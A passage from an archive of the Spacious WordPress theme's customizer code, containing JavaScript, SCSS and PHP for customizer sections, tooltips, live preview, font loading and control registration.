						}
					);

					section.container
					       .find( '.customize-section-back' )
					       .off( 'click keydown' )
					       .on( 'click keydown',
						       function ( event ) {
							       if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
								       return;
							       }

							       event.preventDefault(); // Keep this AFTER the key filter above.

							       if ( section.expanded() ) {
								       wp.customize.section( section.params.section ).expand();
							       }
						       }
					       );
				},
				embed                : function () {
					var section = this,
					    parentContainer;

					if (
						'spacious_section' !== this.params.type ||
						'undefined' === typeof this.params.section
					) {
						_sectionEmbed.call( section );

						return;
					}

					_sectionEmbed.call( section );

					parentContainer = $(
						'#sub-accordion-section-' + this.params.section
					);

					parentContainer.append( section.headContainer );
				},
				isContextuallyActive : function () {
					var section     = this,
					    children,
					    activeCount = 0;

					if ( 'spacious_section' !== this.params.type ) {
						return _sectionIsContextuallyActive.call( this );
					}

					children = this._children( 'section', 'control' );

					wp.customize.section.each(
						function ( child ) {
							if ( ! child.params.section ) {
								return;
							}

							if ( child.params.section !== section.id ) {
								return;
							}

							children.push( child );
						}
					);

					children.sort( wp.customize.utils.prioritySort );

					_( children ).each(
						function ( child ) {
							if ( 'undefined' !== typeof child.isContextuallyActive ) {
								if ( child.active() && child.isContextuallyActive() ) {
									activeCount += 1;
								}
							} else {
								if ( child.active() ) {
									activeCount += 1;
								}
							}
						}
					);

					return (
						0 !== activeCount
					);
				}
			}
		);
	}
)( jQuery );

/**
 * Description of controls via tooltip.
 */
(
	function ( $ ) {

		wp.customize.bind(
			'ready',
			function () {
				wp.customize.control.each(
					function ( ctrl, i ) {
						var description = ctrl.container.find( '.customize-control-description' );

						if ( description.length ) {
							var title, li_wrapper, tooltip;
							title      = ctrl.container.find( '.customize-control-title' );
							li_wrapper = description.closest( 'li' );
							tooltip    = description.text().replace(
								/[u00A0-u9999<>&]/gim,
								function ( i ) {
									return '&#' + i.charCodeAt( 0 ) + ';';
								}
							);

							// Remove the description from displaying below the controller's label.
							description.remove();

							// Add the help icon in description of customize controls.
							li_wrapper.append( '<i class="spacious-control-tooltip dashicons dashicons-editor-help" title="' + tooltip + '"></i>' );
						}
					}
				);
			}
		);

	}
)( jQuery );

/**
 * Responsive devices mode click event.
 */
jQuery( document ).ready(
	function ( $ ) {

		// Responsive switcher button click.
		$( '.customize-control' ).on(
			'click',
			'.responsive-switchers button',
			function ( event ) {

				// Set up variables.
				var self           = $( this ),
				    devices        = $( '.responsive-switchers' ),
				    device         = $( event.currentTarget ).data( 'device' ),
				    control        = $( '.customize-control.has-responsive-switchers' ),
				    body           = $( '.wp-full-overlay' ),
				    footer_devices = $( '.wp-full-overlay-footer .devices' );

				// Switching the button class.
				devices.find( 'button' ).removeClass( 'active' );
				devices.find( 'button.preview-' + device ).addClass( 'active' );

				// Switching the control class.
				control.find( '.control-wrap' ).removeClass( 'active' );
				control.find( '.control-wrap.' + device ).addClass( 'active' );

				// Switching wrapper class.
				body.removeClass( 'preview-desktop preview-tablet preview-mobile' ).addClass( 'preview-' + device );

				// Switching panel footer buttons.
				footer_devices.find( 'button' ).removeClass( 'active' ).attr( 'aria-pressed', false );
				footer_devices.find( 'button.preview-' + device ).addClass( 'active' ).attr( 'aria-pressed', true );

			}
		);

		// If panel footer buttons clicked.
		$( '.wp-full-overlay-footer .devices' ).on(
			'click',
			'button',
			function ( event ) {

				// Set up variables.
				var self    = $( this ),
				    devices = $( '.customize-control.has-responsive-switchers .responsive-switchers' ),
				    device  = $( event.currentTarget ).data( 'device' ),
				    control = $( '.customize-control.has-responsive-switchers' );

				// Switching the button class.
				devices.find( 'button' ).removeClass( 'active' );
				devices.find( 'button.preview-' + device ).addClass( 'active' );

				// Switching the control class.
				control.find( '.control-wrap' ).removeClass( 'active' );
				control.find( '.control-wrap.' + device ).addClass( 'active' );

			}
		);

	}
);

/**
 * Extend the Customize section to make it clickable.
 *
 * Currently used for the Spacious Upseel section only.
 */
(
	function ( $, api ) {
		api.sectionConstructor[ 'spacious-upsell-section' ] = api.Section.extend(
			{
				// No events for this type of section.
				attachEvents: function () {
				},

				// Always make the section active.
				isContextuallyActive: function () {
					return true;
				}
			}
		);
	}
)( jQuery, wp.customize );
core/assets/js/customize-preview.js000066600000005720152367043330013467 0ustar00/**
 * File customizer.js.
 *
 * Theme Customizer enhancements for a better user experience.
 *
 * Contains handlers to make Theme Customizer preview reload changes asynchronously.
 */

( function ( $ ) {

	// Site title.
	wp.customize(
		'blogname',
		function ( value ) {
			value.bind(
				function ( to ) {
					$( '#site-title a' ).text( to );
				}
			);
		}
	);

	// Site description.
	wp.customize(
		'blogdescription',
		function ( value ) {
			value.bind(
				function ( to ) {
					$( '#site-description' ).text( to );
				}
			);
		}
	);

	// Header display type.
	wp.customize(
		'spacious_header_display_type',
		function ( value ) {
			value.bind(
				function ( layout ) {
					var display_type = layout;

					if ( display_type === 'type_two' ) {
						$( 'body' ).removeClass( 'header_display_type_two' ).addClass( 'header_display_type_one' );
					} else if ( display_type === 'type_three' ) {
						$( 'body' ).removeClass( 'header_display_type_one' ).addClass( 'header_display_type_two' );
					} else if ( display_type === 'type_one' ) {
						$( 'body' ).removeClass( 'header_display_type_one header_display_type_two' );
					}
				}
			);
		}
	);

	// Site Layout Option.
	wp.customize(
		'spacious_site_layout',
		function ( value ) {
			value.bind(
				function ( layout ) {
					var site_layout = layout;

					if ( 'wide_layout' === site_layout ) {
						$( 'body' ).removeClass( 'box-layout' ).addClass( 'wide' );
					} else if ( 'boxed_layout' === site_layout ) {
						$( 'body' ).removeClass( 'wide' ).addClass( 'box-layout' );
					}
				}
			);
		}
	);

	// Footer copyright alignment.
	wp.customize(
		'spacious_footer_copyright_alignment_setting',
		function ( value ) {
			value.bind(
				function ( alignment ) {
					var alignment_type = alignment;

					if ( alignment_type === 'left' ) {
						$( '#colophon' ).removeClass( 'copyright-right copyright-center' );
					} else if ( alignment_type === 'right' ) {
						$( '#colophon' ).removeClass( 'copyright-center' ).addClass( 'copyright-right' );
					} else if ( alignment_type === 'center' ) {
						$( '#colophon' ).removeClass( 'copyright-right' ).addClass( 'copyright-center' );
					}
				}
			);
		}
	);

	// Footer Main Area Display Type.
	wp.customize(
		'spacious_main_footer_layout_display_type',
		function ( value ) {
			value.bind(
				function ( layout ) {
					var display_type = layout;

					if ( display_type === 'type_two' ) {
						$( '#colophon' ).removeClass( 'spacious-footer--classic-bordered' ).addClass( 'spacious-footer--classic' );
					} else if ( display_type === 'type_three' ) {
						$( '#colophon' ).removeClass( 'spacious-footer--classic' ).addClass( 'spacious-footer--classic-bordered' );
					} else if ( display_type === 'type_one' ) {
						$( '#colophon' ).removeClass( 'spacious-footer--classic spacious-footer--classic-bordered' );
					}
				}
			);
		}
	);

} )( jQuery );
core/assets/js/customizer-dependency.min.js000066600000006517152367043330015075 0ustar00!function(t){"use strict";var C=wp.customize,o={controls:{},init:function(){var n=this;n.handleDependency(),n.hideEmptySections(),C.bind("change",function(o,e){n.hasDependentControls(o.id)&&(n.handleDependency(),n.hideEmptySections())})},handleDependency:function(){var i=this,o=C.get();i.checked_controls={},_.each(o,function(o,e){var n=C.control(e);i.checkControlVisibility(n,e)})},checkControlVisibility:function(o,e){var n,i,r,t=C.get();_.isUndefined(o)||void 0!==SpaciousCustomizerControlsToggle[e]&&(n=!1,r=SpaciousCustomizerControlsToggle[e],i=_.isUndefined(r.conditions)?r:r.conditions,r=_.isUndefined(r.operator)?"AND":r.operator,void 0!==i&&(n=this.checkDependency(i,t,r),(this.checked_controls[e]=n)?o.container.removeClass("spacious-hide"):o.container.addClass("spacious-hide")))},checkDependency:function(o,a,c){var l=this,d=!0,g=!1,e=o[0];if(_.isString(e)){var n=o[1],i=o[2];if(!_.isUndefined(SpaciousCustomizerControlsToggle[e])){var o=_.isUndefined(SpaciousCustomizerControlsToggle[e].conditions)?SpaciousCustomizerControlsToggle[e]:SpaciousCustomizerControlsToggle[e].conditions,r=_.isUndefined(SpaciousCustomizerControlsToggle[e].operator)?"AND":SpaciousCustomizerControlsToggle[e].operator;if(!_.isUndefined(o))if(l.checkDependency(o,a,r))C.control(e).container.removeClass("spacious-hide");else if(d=!(g=!0),"AND"==c)return}_.isUndefined(a[e])||g||!d||(r=a[e],d=l.compareValues(r,n,i))}else _.isArray(e)&&(t.each(o,function(o,e){var n=e[0],i=e[1],r=e[2],t=_.isUndefined(a[n])?"":a[n];if(void 0!==SpaciousCustomizerControlsToggle[n]){var s=_.isUndefined(SpaciousCustomizerControlsToggle[n].conditions)?SpaciousCustomizerControlsToggle[n]:SpaciousCustomizerControlsToggle[n].conditions,e=_.isUndefined(SpaciousCustomizerControlsToggle[n].operator)?"AND":SpaciousCustomizerControlsToggle[n].operator;if(!_.isUndefined(s))if(l.checkDependency(s,a,e))d=!0,C.control(n).container.removeClass("spacious-hide");else if(d=!1,"AND"==c)return}else d=!0;if(d)if("AND"==c){if(!l.compareValues(t,i,r))return d=!1}else d=!!l.compareValues(t,i,r)&&(g=!0)}),g&&"OR"==c&&(d=!0));return d},compareValues:function(o,e,n){var i=!1;switch(e){case"===":i=o===n;break;case">":i=n<o;break;case"<":i=o<n;break;case"<=":i=o<=n;break;case">=":i=n<=o;break;case"!=":i=o!=n;break;case"empty":var r=_.clone(o),i=_.isObject(r)||_.isArray(r)?(_.each(r,function(o,e){_.isEmpty(o)&&delete r[e]}),!!_.isEmpty(r)):!(!_.isNull(r)&&""!=r);break;case"not_empty":r=_.clone(o);(_.isObject(r)||_.isArray(r))&&_.each(r,function(o,e){_.isEmpty(o)&&delete r[e]}),i=!_.isEmpty(r);break;case"contains":_.isArray(o)&&-1!==t.inArray(n,o)&&(i=!0);break;default:i=_.isArray(n)?!_.isEmpty(n)&&!_.isEmpty(o)&&_.contains(n,o):o==n}return i},hideEmptySections:function(){t("ul.accordion-section.control-section-spacious_section").each(function(){var o=t(this).attr("id"),e=!1,n=t(this).find(" > .customize-control");0<n.length&&(n.each(function(){t(this).hasClass("spacious-hide")||"none"==t(this).css("display")||(e=!0)}),e?t('.control-section[aria-owns="'+o+'"]').removeClass("spacious-hide"):t('.control-section[aria-owns="'+o+'"]').addClass("spacious-hide"))})},hasDependentControls:function(i){var r=!1;return t.each(SpaciousCustomizerControlsToggle,function(o,e){if(_.isUndefined(e.conditions)){var n=e[0];if(i==n)return void(r=!0)}else{e=e.conditions;t.each(e,function(o,e){e=e[0];i!=e||(r=!0)})}}),r}};t(function(){o.init()})}(jQuery);core/assets/js/customizer-controls.js000066600000003760152367043330014035 0ustar00/**
 * Customizer controls.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		/* Internal shorthand */
		var api = wp.customize;

		/**
		 * Helper class for the main Customizer interface.
		 *
		 * @class SpaciousCustomizer
		 */
		SpaciousCustomizer = {

			controls : {},

			/**
			 * Initializes our custom logic for the Customizer.
			 *
			 * @method init
			 */
			init : function () {
				SpaciousCustomizer._initToggles();
			},

			/**
			 * Initializes the logic for showing and hiding controls
			 * when a setting changes.
			 *
			 * @since 1.0.0
			 * @access private
			 * @method _initToggles
			 */
			_initToggles : function () {

				// Trigger the Adv Tab Click trigger.
				SpaciousControlTrigger.triggerHook( 'spacious-toggle-control', api );

				// Loop through each setting.
				$.each(
					SpaciousCustomizerToggles,
					function ( settingId, toggles ) {

						// Get the setting object.
						api(
							settingId,
							function ( setting ) {

								// Loop though the toggles for the setting.
								$.each(
									toggles,
									function ( i, toggle ) {
										// Loop through the controls for the toggle.
										$.each(
											toggle.controls,
											function ( k, controlId ) {
												// Get the control object.
												api.control(
													controlId,
													function ( control ) {

														// Define the visibility callback.
														var visibility = function ( to ) {
															control.container.toggle( toggle.callback( to ) );
														};

														// Init visibility.
														visibility( setting.get() );

														// Bind the visibility callback to the setting.
														setting.bind( visibility );

													}
												);
											}
										);
									}
								);
							}
						);

					}
				);
			}

		};

		$(
			function () {
				SpaciousCustomizer.init();
			}
		);

	}
)( jQuery );
core/assets/js/customize-preview.min.js000066600000003034152367043330014245 0ustar00!function(e){wp.customize("blogname",function(o){o.bind(function(o){e("#site-title a").text(o)})}),wp.customize("blogdescription",function(o){o.bind(function(o){e("#site-description").text(o)})}),wp.customize("spacious_header_display_type",function(o){o.bind(function(o){"type_two"===o?e("body").removeClass("header_display_type_two").addClass("header_display_type_one"):"type_three"===o?e("body").removeClass("header_display_type_one").addClass("header_display_type_two"):"type_one"===o&&e("body").removeClass("header_display_type_one header_display_type_two")})}),wp.customize("spacious_site_layout",function(o){o.bind(function(o){"wide_layout"===o?e("body").removeClass("box-layout").addClass("wide"):"boxed_layout"===o&&e("body").removeClass("wide").addClass("box-layout")})}),wp.customize("spacious_footer_copyright_alignment_setting",function(o){o.bind(function(o){"left"===o?e("#colophon").removeClass("copyright-right copyright-center"):"right"===o?e("#colophon").removeClass("copyright-center").addClass("copyright-right"):"center"===o&&e("#colophon").removeClass("copyright-right").addClass("copyright-center")})}),wp.customize("spacious_main_footer_layout_display_type",function(o){o.bind(function(o){"type_two"===o?e("#colophon").removeClass("spacious-footer--classic-bordered").addClass("spacious-footer--classic"):"type_three"===o?e("#colophon").removeClass("spacious-footer--classic").addClass("spacious-footer--classic-bordered"):"type_one"===o&&e("#colophon").removeClass("spacious-footer--classic spacious-footer--classic-bordered")})})}(jQuery);core/assets/js/customizer-controls-toggle.js000066600000002557152367043330015317 0ustar00/**
 * Customizer controls toggle.
 *
 * @package Spacious
 */

(
	function ( $ ) {

		/* Internal shorthand */
		var api = wp.customize;

		/**
		 * Trigger hooks
		 */
		SpaciousControlTrigger = {

			/**
			 * Trigger a hook.
			 *
			 * @method triggerHook
			 * @param {String} hook The hook to trigger.
			 * @param {Array} args An array of args to pass to the hook.
			 */
			triggerHook : function ( hook, args ) {
				$( 'body' ).trigger( 'spacious-control-trigger.' + hook, args );
			},

			/**
			 * Add a hook.
			 *
			 * @method addHook
			 * @param {String} hook The hook to add.
			 * @param {Function} callback A function to call when the hook is triggered.
			 */
			addHook : function ( hook, callback ) {
				$( 'body' ).on( 'spacious-control-trigger.' + hook, callback );
			},

			/**
			 * Remove a hook.
			 *
			 * @method removeHook
			 * @param {String} hook The hook to remove.
			 * @param {Function} callback The callback function to remove.
			 */
			removeHook : function ( hook, callback ) {
				$( 'body' ).off( 'spacious-control-trigger.' + hook, callback );
			}

		};

		/**
		 * Helper class that contains data for showing and hiding controls.
		 *
		 * @class SpaciousCustomizerToggles
		 */
		SpaciousCustomizerToggles = {

			'spacious_header_image_link' : [],

		};

	}
)( jQuery );
core/assets/scss/extend-customizer.scss000066600000010446152367043330014356 0ustar00@import "../../custom-controls/assets/scss/variables";

a{
	color:$color-blue;
	&:focus{
		box-shadow: 0 0 0 1px rgba($color-blue,0.8);
	}
}
.button{
	background: $color-light-gray;
	border-color: $color-blue;
	color:$color-blue;
	font-weight: 600;
	transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
	&:hover{
		background: $color-white;
		color:$color-blue;
	}
}

.select2-container--default{
	.select2-selection--single{
		.select2-selection__arrow{
			b{
				margin-top: 0;
			}
		}
	}
	

}
.tg-section-separator {
	display: block !important;
	margin-top: 4px;
}

.customize-section-description {

	.spacious-section-description {

		ul {
			margin: 0;

			> li {
				list-style: none;

				&:last-child {
					margin-bottom: 0;
				}
			}
		}

		a {
			font-style: italic;
		}
	}
}
.customize-control {
	background:#fff;
	box-sizing: border-box;
	margin-bottom: 0;
	padding: 10px;
	position: relative;
	
	.customize-control-title {
		color:$color-black;
		font-size:14px;
		font-weight: 600;
		margin-bottom:0px;
	}

	.spacious-control-tooltip {
		position: absolute;
		right: 10px;
		top: 9px;

		&:hover {
			cursor: pointer;
		}
	}

	.attachment-media-view{
		.button-add-media{
			background: $color-light-gray;
			&:hover{
				background: $color-white;
			}
		}
	}

	select,
	input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]),
	.select2-selection--single{
		border-color:$color-gray;
		border-radius: 2px;
		height: 33px;
	}

	.customize-inside-control-row {
		padding-bottom: 0;
		padding-top: 0;
	}

	&.customize-control-radio,
	&.customize-control-checkbox {
		.customize-inside-control-row {
			padding-bottom: 6px;
			padding-top: 6px;
		}
	}

	&.has-responsive-switchers {

		.responsive-switchers {
			position: absolute;
			right: 0;
			top: -3px;

			li {
				float: left;
				line-height: 0;
				margin: 0;
				padding-right:2px;

				button {
					background: transparent;
					border: none;
					color: rgba($color-black, 0.5);
					cursor: pointer;
					outline: none;
					padding: 2px;

					i {
						font-size: 14px;
						line-height: 20px;
					}

					&.active {
						color: $color-blue;
					}
				}
			}
		}

		.control-wrap {

			&:not(.active) {
				display: none;
				width: 100%;
			}
		}
	}
}



#customize-theme-controls {

	.in-sub-panel & {

		.customize-pane-child.current-panel-parent {
			transform: translateX(-100%);
		}
	}

	.customize-pane-child.current-section-parent {
		transform: translateX(-100%);
	}

	.control-section {

		&.open {
			height: 100%;
		}

		&.control-section-spacious_section {

			.accordion-section {
				margin-left: -12px;
				margin-right: -12px;
			}

			.accordion-section-title {
				background-color: $color-white;
				border-bottom: 1px solid $color-light-gray;
				border-left: 4px solid $color-white;
				color: $color-black;
				transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out;
			}

			.accordion-section-title:after {
				color: #a0a5aa;
			}

			.accordion-section-title:hover,
			.accordion-section-title:focus {
				background: #f3f3f5;
				border-left-color: $color-blue;
				color: $color-blue;
			}

			.accordion-section-title:hover:after {
				color: $color-blue;
			}
		}
	}
}

#customize-theme-controls{
	.accordion-section-title{
		border-color:$color-light-gray;
		color: $color-black;
		font-weight: 600;
		&:hover,&:focus{
			border-left-color: $color-blue;
			color: $color-blue;
		}
	}
}

.spacious-hide {
	display: none !important;
}

.customize-control-checkbox,
.customize-control-radio{
	padding-bottom: 5px;
	padding-top: 5px;
}

#accordion-section-spacious_customize_upsell_section {

	h3 {

		&.accordion-section-title {
			background-color: #289DCC !important;
			border-left-color: #0073aa;
			color: #fff !important;
			padding: 0;

			a {
				color: #fff;
				display: block;
				padding: 12px 15px 15px;
				text-decoration: none;

				&:hover {
					background-color: #1f91bf !important;
				}
			}

			&:after {
				color: #fff !important;
			}
		}

		a {

			&::after {
				color: #fff;
			}
		}
	}
}core/class-spacious-customizer-callbacks.php000066600000000717152367043330015274 0ustar00<?php
/**
 * Spacious customizer class for theme customize callbacks.
 *
 * Class Spacious_Customizer_FrameWork_FrameWork_Callbacks
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Spacious customizer class for theme customize callbacks.
 *
 * Class Spacious_Customizer_FrameWork_Callbacks
 */
class Spacious_Customizer_FrameWork_Callbacks {

}
core/class-spacious-customize-base-option.php000066600000003167152367043330015415 0ustar00<?php


// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Spacious_Customize_Base_Option {

	public function __construct() {

		// Register the customize panels, sections and controls.
		add_filter( 'spacious_customizer_options', array( $this, 'register_options' ), 10, 2 );

	}

	/**
	 * Base method for customize options.
	 *
	 * @param array                $options      Customize options provided via the theme.
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		return $options;
	}

	/**
	 * Section Description
	 *
	 * @param array $args Description arguments.
	 *
	 * @return mixed Markup of the section description.
	 */
	public function get_section_description( $args ) {

		// Description.
		$content = '<div class="spacious-section-description">';
		$content .= wp_kses_post( $args['description'] );

		// Links.
		if ( $args['links'] ) {

			$content .= '<ul>';
			foreach ( $args['links'] as $index => $link ) {

				if ( $link['attrs'] ) {

					$content .= '<li>';

					// Attribute mapping.
					$attributes = ' target="_blank" ';
					foreach ( $link['attrs'] as $attr => $attr_value ) {
						$attributes .= ' ' . $attr . '="' . esc_attr( $attr_value ) . '" ';
					}

					$content .= '<a ' . $attributes . '>' . esc_html( $link['text'] ) . '</a></li>';

					$content .= '</li>';

				}

			}

			$content .= '</ul>';

		}

		$content .= '</div>';

		return $content;
	}

}

return new Spacious_Customize_Base_Option();
core/class-spacious-generate-fonts.php000066600000007337152367043330014101 0ustar00<?php
/**
 * Helper class to enqueue fonts.
 *
 * Class Spacious_Fonts
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Helper class to enqueue fonts.
 *
 * Class Spacious_Generate_Fonts
 */
class Spacious_Generate_Fonts {

	/**
	 * Get fonts to generate.
	 *
	 * @var array
	 */
	private static $fonts = array();

	/**
	 * Adds data to the $fonts array for a font to be rendered.
	 *
	 * @param string $name        The name key of the font to add.
	 * @param array  $font_weight An array of weight variants.
	 *
	 * @return void
	 */
	public static function add_font( $name, $font_weight = array() ) {

		if ( ! is_array( $font_weight ) ) {
			// For multiple variant selectons for fonts.
			$font_weight = explode( ',', $font_weight );
		}

		if ( ! empty( $font_weight ) && isset( self::$fonts[ $name ] ) ) {
			foreach ( (array) $font_weight as $variant ) {
				if ( ! in_array( $variant, self::$fonts[ $name ]['font-weight'] ) ) {
					self::$fonts[ $name ]['font-weight'][] = $variant;
				}
			}
		} else {
			self::$fonts[ $name ] = array(
				'font-weight' => (array) $font_weight,
			);
		}

	}

	/**
	 * Get Fonts
	 */
	public static function get_fonts() {

		do_action( 'spacious_get_fonts' );

		return apply_filters( 'spacious_add_fonts', self::$fonts );

	}

	/**
	 * Renders the <link> tag for all fonts in the $fonts array.
	 *
	 * @return void
	 */
	public static function render_fonts() {

		$font_list = apply_filters( 'spacious_render_fonts', self::get_fonts() );

		$google_fonts = array();
		$font_subset  = array();

		$system_fonts = Spacious_Fonts::get_system_fonts();

		foreach ( $font_list as $name => $font ) {
			if ( ! empty( $name ) && ! isset( $system_fonts[ $name ] ) ) {

				// Add font variants.
				$google_fonts[ $name ] = $font['font-weight'];

				// Add Subset.
				$subset = apply_filters( 'spacious_font_subset', '', $name );
				if ( ! empty( $subset ) ) {
					$font_subset = array_unique( $subset );
				}
			}
		}

		$google_font_url = self::google_fonts_url( $google_fonts, $font_subset );
		wp_enqueue_style( 'spacious_googlefonts', $google_font_url, array(), SPACIOUS_THEME_VERSION, 'all' );

	}

	/**
	 * Google Font URL.
	 * Combine multiple google font in one URL.
	 *
	 * @param array $fonts   Google Fonts array.
	 * @param array $subsets Font's Subsets array.
	 *
	 * @return string
	 */
	public static function google_fonts_url( $fonts, $subsets = array() ) {

		$base_url  = '//fonts.googleapis.com/css';
		$font_args = array();
		$family    = array();

		$fonts = apply_filters( 'spacious_google_fonts_selected', $fonts );

		/* Format Each Font Family in Array */
		foreach ( $fonts as $font_name => $font_weight ) {
			$font_name = str_replace( ' ', '+', $font_name );

			if ( ! empty( $font_weight ) ) {
				if ( is_array( $font_weight ) ) {
					$font_weight = implode( ',', $font_weight );
				}

				$font_family = explode( ',', $font_name );
				$font_family = str_replace( "'", '', $font_family[0] );
				$family[]    = trim( $font_family . ':' . rawurlencode( trim( $font_weight ) ) );
			} else {
				$family[] = trim( $font_name );
			}
		}

		/* Only return URL if font family defined. */
		if ( ! empty( $family ) ) {

			/* Make Font Family a String */
			$family = implode( '|', $family );

			/* Add font family in args */
			$font_args['family'] = $family;

			/* Add font subsets in args */
			if ( ! empty( $subsets ) ) {

				/* format subsets to string */
				if ( is_array( $subsets ) ) {
					$subsets = implode( ',', $subsets );
				}

				$font_args['subset'] = rawurlencode( trim( $subsets ) );
			}

			return add_query_arg( array( $font_args, '&display=swap' ), $base_url );
		}

		return '';
	}

}
core/class-spacious-customizer-framework.php000066600000061777152367043330015367 0ustar00<?php
/**
 * Spacious customizer class for theme customize options.
 *
 * Class Spacious_Customizer_FrameWork
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Include the Typography control fonts file.
require dirname(__FILE__) . '/class-spacious-fonts.php';
require dirname(__FILE__) . '/class-spacious-generate-fonts.php';

/**
 * Spacious customizer class.
 *
 * Class Spacious_Customizer_FrameWork
 */
class Spacious_Customizer_FrameWork {

	/**
	 * Customizer Dependency Array.
	 *
	 * @var array
	 */
	public static $dependency_array = array();

	/**
	 * All groups parent-child relation array data.
	 *
	 * @var array
	 */
	public static $group_configs = array();

	/**
	 * Customizer setup constructor.
	 *
	 * Spacious_Customizer_FrameWork constructor.
	 */
	public function __construct() {

		// Include the custom extending customize panels and sections files for customize options.
		add_action( 'customize_register', array( $this, 'customize_custom_panels_sections_includes' ) );

		// Include the custom controls for customize options.
		add_action( 'customize_register', array( $this, 'customize_custom_controls_includes' ) );

		// Register Spacious customize panels, sections and controls type.
		add_action( 'customize_register', array( $this, 'register_panels_sections_controls' ) );

		// Include the required customize options.
		add_action( 'customize_register', array( $this, 'get_customizer_configurations' ) );

		// Include the required register customize settings array.
		add_action( 'customize_register', array( $this, 'register_customize_settings' ) );

		// Include the required customizer sanitizations, callbacks and partials files.
		add_action( 'customize_register', array( $this, 'customize_sanitize_callback_include' ) );

		// Enqueue the required scripts for the custom customize controls for extending panels, sections and controls.
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_customize_controls' ) );

		// Enqueue the preview JS for customize options.
		add_action( 'customize_preview_init', array( $this, 'customize_preview_js' ) );

	}

	/**
	 * Include the required files for extending the custom Customize controls.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */
	public function customize_custom_panels_sections_includes( $wp_customize ) {

		// Include the required customizer nested panels and sections files.
		require dirname(__FILE__) . '/extend-customizer/class-spacious-wp-customize-panel.php';
		require dirname(__FILE__) . '/extend-customizer/class-spacious-wp-customize-section.php';
		require dirname(__FILE__) . '/extend-customizer/class-spacious-wp-customize-separator.php';
		require dirname(__FILE__) . '/extend-customizer/class-spacious-upsell-section.php';

	}

	/**
	 * Include the required files for extending the custom Customize controls.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */

	/**
	 * Include the required files for extending the custom Customize controls.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */
	public function customize_custom_controls_includes( $wp_customize ) {

		// Include the customize base controls file.
		require dirname(__FILE__) . '/custom-controls/class-spacious-customize-base-control.php';
		require dirname(__FILE__) . '/custom-controls/class-spacious-customize-base-additional-control.php';

		// Include the required customize controls file.
		require dirname(__FILE__) . '/custom-controls/radio-image/class-spacious-radio-image-control.php';
		require dirname(__FILE__) . '/custom-controls/heading/class-spacious-heading-control.php';
		require dirname(__FILE__) . '/custom-controls/navigate/class-spacious-navigate-control.php';
		require dirname(__FILE__) . '/custom-controls/editor/class-spacious-editor-control.php';
		require dirname(__FILE__) . '/custom-controls/color/class-spacious-color-control.php';
		require dirname(__FILE__) . '/custom-controls/buttonset/class-spacious-buttonset-control.php';
		require dirname(__FILE__) . '/custom-controls/toggle/class-spacious-toggle-control.php';
		require dirname(__FILE__) . '/custom-controls/divider/class-spacious-divider-control.php';
		require dirname(__FILE__) . '/custom-controls/slider/class-spacious-slider-control.php';
		require dirname(__FILE__) . '/custom-controls/custom/class-spacious-custom-control.php';
		require dirname(__FILE__) . '/custom-controls/dropdown-categories/class-spacious-dropdown-categories-control.php';
		require dirname(__FILE__) . '/custom-controls/background/class-spacious-background-control.php';
		require dirname(__FILE__) . '/custom-controls/typography/class-spacious-typography-control.php';
		require dirname(__FILE__) . '/custom-controls/hidden/class-spacious-hidden-control.php';
		require dirname(__FILE__) . '/custom-controls/sortable/class-spacious-sortable-control.php';
		require dirname(__FILE__) . '/custom-controls/group/class-spacious-group-control.php';
		require dirname(__FILE__) . '/custom-controls/title/class-spacious-title-control.php';
		require dirname(__FILE__) . '/custom-controls/dimensions/class-spacious-dimensions-control.php';
		require dirname(__FILE__) . '/custom-controls/upgrade/class-spacious-upgrade-control.php';
		require dirname(__FILE__) . '/custom-controls/fontawesome/class-spacious-fontawesome-control.php';

	}

	/**
	 * Register Spacious customize panels, sections and controls type.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */
	public function register_panels_sections_controls( $wp_customize ) {

		// Register panels and sections.
		$wp_customize->register_panel_type( 'Spacious_WP_Customize_Panel' );
		$wp_customize->register_section_type( 'Spacious_WP_Customize_Section' );
		$wp_customize->register_section_type( 'Spacious_WP_Customize_Separator' );
		$wp_customize->register_panel_type( 'Spacious_WP_Customize_Panel' );
		$wp_customize->register_section_type( 'Spacious_Upsell_Section' );

		/**
		 * Register controls.
		 */
		/**
		 * WordPress default controls.
		 */
		// Checkbox control.
		Spacious_Customize_Base_Control::add_control(
			'checkbox',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_checkbox',
				),
			)
		);

		// Radio control.
		Spacious_Customize_Base_Control::add_control(
			'radio',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Select control.
		Spacious_Customize_Base_Control::add_control(
			'select',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Text control.
		Spacious_Customize_Base_Control::add_control(
			'text',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_nohtml',
				),
			)
		);

		// Number control.
		Spacious_Customize_Base_Control::add_control(
			'number',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_number',
				),
			)
		);

		// Email control.
		Spacious_Customize_Base_Control::add_control(
			'email',
			array(
				'sanitize_callback' => array(
